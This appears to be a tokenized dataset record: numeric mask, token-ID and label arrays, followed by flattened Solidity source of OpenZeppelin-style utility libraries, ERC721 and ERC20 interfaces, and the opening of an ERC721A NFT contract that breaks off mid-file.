0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
5912,
7731,
4727,
12,
11890,
2313,
389,
13866,
7731,
4727,
13,
1071,
1338,
5592,
288,
203,
3639,
2583,
24899,
13866,
7731,
4727,
1648,
4552,
18605,
67,
16596,
6553,
67,
56,
2501,
67,
24062,
16,
315,
50,
4464,
43,
1642,
2866,
2725,
5912,
7731,
4727,
30,
12279,
5320,
4993,
1297,
486,
9943,
326,
4207,
4993,
1199,
1769,
203,
3639,
3626,
12279,
7731,
4727,
7381,
12,
3576,
18,
15330,
16,
7412,
7731,
4727,
16,
389,
13866,
7731,
4727,
1769,
203,
3639,
7412,
7731,
4727,
273,
389,
13866,
7731,
4727,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/base/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/base/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: contracts/base/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/base/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/base/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/base/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/base/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/base/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: contracts/base/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/base/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/base/IERC20Metadata.sol
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: contracts/base/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/base/ERC721A.sol
// Creators: locationtba.eth, 2pmflow.eth
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
